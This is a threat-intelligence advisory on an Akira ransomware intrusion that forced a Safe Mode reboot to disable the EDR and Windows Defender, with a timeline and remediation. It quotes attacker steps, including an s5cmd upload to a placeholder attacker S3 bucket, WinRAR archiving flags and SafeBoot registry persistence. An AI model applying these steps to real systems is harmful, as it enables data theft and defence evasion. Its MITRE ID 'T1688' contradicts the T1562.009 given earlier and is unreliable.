Akira Ransomware Reboots Victims into Safe Mode to Blind EDR and Windows Defender
Akira Ransomware Reboots Victims into Safe Mode to Blind EDR (TL-2026-2062) is a high-severity ransomware operation, first published 2026-08-12. It is attributed to Akira with medium confidence, affects SonicWall SonicOS SSL VPN, maps to 12 MITRE ATT&CK techniques (T1018, T1021.001, T1078), and is covered by 9 detection rules and 13 indicators of compromise.
Key facts for TL-2026-2062
- Threat ID
- TL-2026-2062
- Severity
- HIGH
- Status
- ACTIVE
- Category
- RANSOMWARE
- First published
- 2026-08-12
- Last reviewed
- 2026-08-12
- Attribution
- Akira
- Attribution confidence
- MEDIUM
- Motivation
- FINANCIAL
- Detection rules
- 9
- Indicators of compromise
- 13
Malware and tooling in Akira Ransomware Reboots Victims into Safe Mode to Blind EDR
Malware and tooling: Akira, AnyDesk, AnyDesk, WinRAR, msconfig.exe, s5cmd
An Akira ransomware affiliate breached a SonicWall SSL VPN account lacking MFA via credential spraying on 2026-08-04, enumerated Active Directory from the domain controller, and used msconfig.exe to force a reboot into Safe Mode with Networking — simultaneously disabling the Huntress EDR agent and Windows Defender real-time protection. The akira.exe payload crashed from virtual-memory exhaustion in the stripped-down Safe Mode environment before it could encrypt files, but the actor had already exfiltrated AD data and file shares to an attacker-controlled AWS S3 bucket via s5cmd, preserving the double-extortion threat.
How Akira Ransomware Reboots Victims into Safe Mode to Blind EDR works
On 2026-08-04, Huntress observed an Akira ransomware affiliate gain initial access to a customer environment through a SonicWall SSL VPN account that had no multi-factor authentication enabled. The intrusion began at 03:45 UTC with a credential-spraying burst against multiple usernames from external IP 72.23.77.35, which succeeded at 03:52:42 UTC. The source Huntress reporting did not attribute this specific login to a named CVE, though Akira affiliates have separately and repeatedly been reported (Arctic Wolf, Rapid7, SonicWall) exploiting the improper-access-control flaw CVE-2024-40766 in SonicOS to obtain or reuse SSL VPN credentials in other 2025-2026 campaigns, and stolen credentials from that flaw have been observed carried forward across firmware upgrades.
Around 05:52 UTC the operator pivoted to hands-on-keyboard activity, using RDP to reach the domain controller from an attacker-controlled workgroup host (WIN-DNCVG09TAT8). From the DC, the actor ran PowerShell Get-ADUser and Get-ADComputer enumeration commands, dumping full account and computer inventories (including PasswordLastSet, LastLogonDate, email addresses, and phone numbers) to C:\ProgramData\AdUsers.txt and C:\ProgramData\AdComp.txt. AnyDesk (client ID 1778787240) was installed for persistent remote access, and the actor added a registry value under HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\AnyDesk so the tool would continue functioning even inside Safe Mode.
At 06:29:21 UTC the operator launched msconfig.exe and set the Boot tab to Safe Boot: Network, forcing a restart into Safe Mode with Networking (recorded as Kernel-Boot Event ID 27, SAFEBOOT:NETWORK, and Kernel-General Event ID 12, BootMode=2). This is the first documented case of Akira using a Safe Mode reboot to blind security tooling — a technique Huntress notes was previously seen only from the Snatch and AvosLocker ransomware families, and which maps to MITRE ATT&CK T1562.009 (Impair Defenses: Safe Mode Boot). The reboot stopped the third-party Huntress agent and disabled Windows Defender real-time protection (logged as Defender Event ID 3002, error 0x8007043c).
Before triggering the reboot, the actor archived harvested AD data and file-share contents with WinRAR (a -ep1 -scul -r0 -iext -imon1) and exfiltrated the archives to an attacker-controlled AWS S3 bucket using the open-source CLI tool s5cmd (s5cmd cp --sp "E:\upload*" s3://<attacker-bucket>/), preserving a double-extortion leverage point independent of whether encryption succeeded.
akira.exe executed at 06:34:29 UTC. At 06:36:21 UTC a burst of child processes began, and within seconds the environment produced cascading "Virtual Memory Minimum Too Low" and "Out of Virtual Memory" errors followed by PowerShell failures — Safe Mode's stripped-down driver and memory footprint starved the encryption routine before it could complete. Windows Defender flagged the ransomware binary at 07:43:50 UTC but could not quarantine it while real-time protection remained disabled. The host was rebooted back to normal mode at 08:10:38 UTC, and Defender successfully quarantined akira.exe at 08:12:28 UTC. Huntress published its public analysis of the intrusion on 2026-08-12.
Akira is a closed ransomware-as-a-service operation, believed to share code lineage with the leaked Conti source base, first tracked by CISA/FBI since March 2023 and named the most active ransomware operation observed in Huntress telemetry through 2025. CISA, the FBI, DC3, HHS, and international partners maintain a joint #StopRansomware advisory (AA24-109A, originally published 2024-04-18 and updated 2025-11-13) documenting Akira's TTPs, including brute-force RDP access, credential dumping, cloud-based exfiltration tooling (rclone, FileZilla, WinSCP, and — per this Huntress incident — s5cmd), and a Tor-hosted double-extortion leak site.
MITRE ATT&CK techniques used in TL-2026-2062
Discovery
T1018 Remote System Discovery; T1087.002 Domain Account
Lateral Movement
T1021.001 Remote Desktop Protocol; T1570 Lateral Tool Transfer
Initial Access
T1078 Valid Accounts; T1133 External Remote Services
Credential Access
defense-impairment
T1112 Modify Registry; T1688 Safe Mode Boot
Command and Control
Collection
Exfiltration
Affected products and versions in Akira Ransomware Reboots Victims into Safe Mode to Blind EDR
- SonicWall — SonicOS SSL VPN
Vulnerable versions: VPN accounts configured without MFA (specific SonicOS build not disclosed in the source reporting) - Microsoft — Windows Server / Windows (Safe Mode with Networking)
Vulnerable versions: Domain-joined Windows Server (domain controller) and Windows endpoints supporting Safe Boot: Network via msconfig.exe
Remediation for Akira Ransomware Reboots Victims into Safe Mode to Blind EDR
Patches
- Apply current SonicWall SonicOS firmware and confirm the device is not still exposed to CVE-2024-40766 (improper access control, CVSS 9.3, on CISA KEV since 2024-09-09)
Immediate actions
- Enforce MFA on all SonicWall SSL VPN accounts; audit for any accounts still authenticating without a second factor
- Alert on bursts of failed VPN logins across multiple usernames from a single external IP followed by a successful authentication (credential spraying)
- Alert on msconfig.exe / bcdedit execution outside change-management windows, especially from privileged or domain-controller sessions
- Alert on Kernel-Boot Event ID 27 with a SAFEBOOT load option and Kernel-General Event ID 12 BootMode=2, and on third-party security services stopping (System Event ID 7036) immediately after a reboot
- Monitor for new entries under HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal and \Network — legitimate services are rarely added there
Workarounds
- Disable or remove unused/legacy local VPN accounts that lack MFA
- Restrict AnyDesk and other unmanaged remote-access software via application allowlisting
Longer-term hardening
- Deploy EDR/tamper protection capable of surviving or blocking a forced Safe Mode reboot
- Restrict which accounts/processes can modify the SafeBoot registry hive via Group Policy or endpoint controls
- Apply least privilege to accounts capable of bulk Active Directory enumeration (Get-ADUser/Get-ADComputer at scale)
- Monitor outbound traffic to AWS S3 and other cloud-storage endpoints for anomalous bulk uploads from tools such as s5cmd, rclone, WinSCP, or FileZilla
- Rotate all VPN and domain credentials on any SonicWall device with a history of CVE-2024-40766 exposure, since harvested credentials have been observed carried forward across later firmware updates
Timeline of Akira Ransomware Reboots Victims into Safe Mode to Blind EDR
- 08:12:28 UTC — Windows Defender successfully quarantines akira.exe now that real-time protection is restored
- 08:10:38 UTC — Host reboots back into normal Windows mode
- 07:43:50 UTC — Windows Defender flags the ransomware binary but cannot quarantine it while real-time protection remains disabled (Event ID 3002, error 0x8007043c)
- 06:36:33 UTC — Cascading "Virtual Memory Minimum Too Low" / "Out of Virtual Memory" errors and PowerShell failures halt the encryption routine before files are encrypted
- 06:36:21 UTC — Burst of child processes spawned by the ransomware payload begins
- 06:34:29 UTC — akira.exe ransomware payload executes inside the Safe Mode session
- 06:29:21 UTC — Operator runs msconfig.exe, sets Boot tab to Safe Boot: Network, forcing a SAFEBOOT:NETWORK reboot (Kernel-Boot EID 27, Kernel-General EID 12 BootMode=2)
- ~05:52 UTC — Hands-on-keyboard activity begins; operator RDPs from workgroup host WIN-DNCVG09TAT8 to the domain controller
- 03:52:42 UTC — Successful SSL VPN authentication to an account with no MFA enabled
- 03:45 UTC — Credential-spraying burst begins against the SonicWall SSL VPN from external IP 72.23.77.35, targeting multiple usernames
- Huntress publishes its public analysis of the intrusion, describing the first documented Akira use of a forced Safe Mode reboot to disable EDR and Windows Defender
Sources cited for Akira Ransomware Reboots Victims into Safe Mode to Blind EDR
- Akira Hits Safe Mode: Ransomware Rebooting Around EDR
- Akira hackers disable EDR with Safe Mode, steal data but fail to encrypt
- Akira ransomware reboots into Windows Safe Mode to knock EDR offline
- Akira ransomware uses Safe Mode to bypass EDR
- #StopRansomware: Akira Ransomware (AA24-109A)
- Smash and Grab: Aggressive Akira Campaign Targets SonicWall VPNs, Deploys Ransomware in an Hour or Less
- Critical Improper Access Control Vuln Affecting SonicWall Devices (CVE-2024-40766)
- First Akira Safe Mode attack disables endpoint detection and response but fails to encrypt, Huntress says
Threats related to Akira Ransomware Reboots Victims into Safe Mode to Blind EDR
- Akira Ransomware Affiliate Forces Windows Safe Mode Reboot to Disable EDR, Exfiltrates Data via AnyDesk/WinRAR/s5cmd but Fails to Encrypt
- 2026 Ransomware Surge Targeting US Organizations: Identity-First Compromise, BYOVD, and Living-Off-the-Cloud Exfiltration (Qilin, Akira, Clop, INC Ransom, Play, DragonForce, Sinobi)
- Akira Ransomware Kill Chain — SSLVPN Credential Stuffing → Kerberoasting → RDP Lateral → vssadmin Shadow Copy Deletion (SANS ISC Forensic Reconstruction, May 2026)
- VECT 2.0 Ransomware's Nonce-Reuse Flaw Turns It Into an Accidental Wiper for Files Over 128KB
- FortiBleed Credential-Harvesting Campaign Against 430,000 FortiGate Firewalls Feeds INC Ransom and Lynx Ransomware Operations
Detection coverage for TL-2026-2062
As of 2026-08-12, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-2062 across Splunk SPL, Microsoft KQL and Sigma, covering 13 indicator(s) of compromise. The whole corpus is readable without an account; a free account unlocks full detection query text in Splunk SPL, Microsoft KQL and Sigma; paid tiers add raw indicator values, correlation and the MCP server. Threadlinqs MCP server · View plans.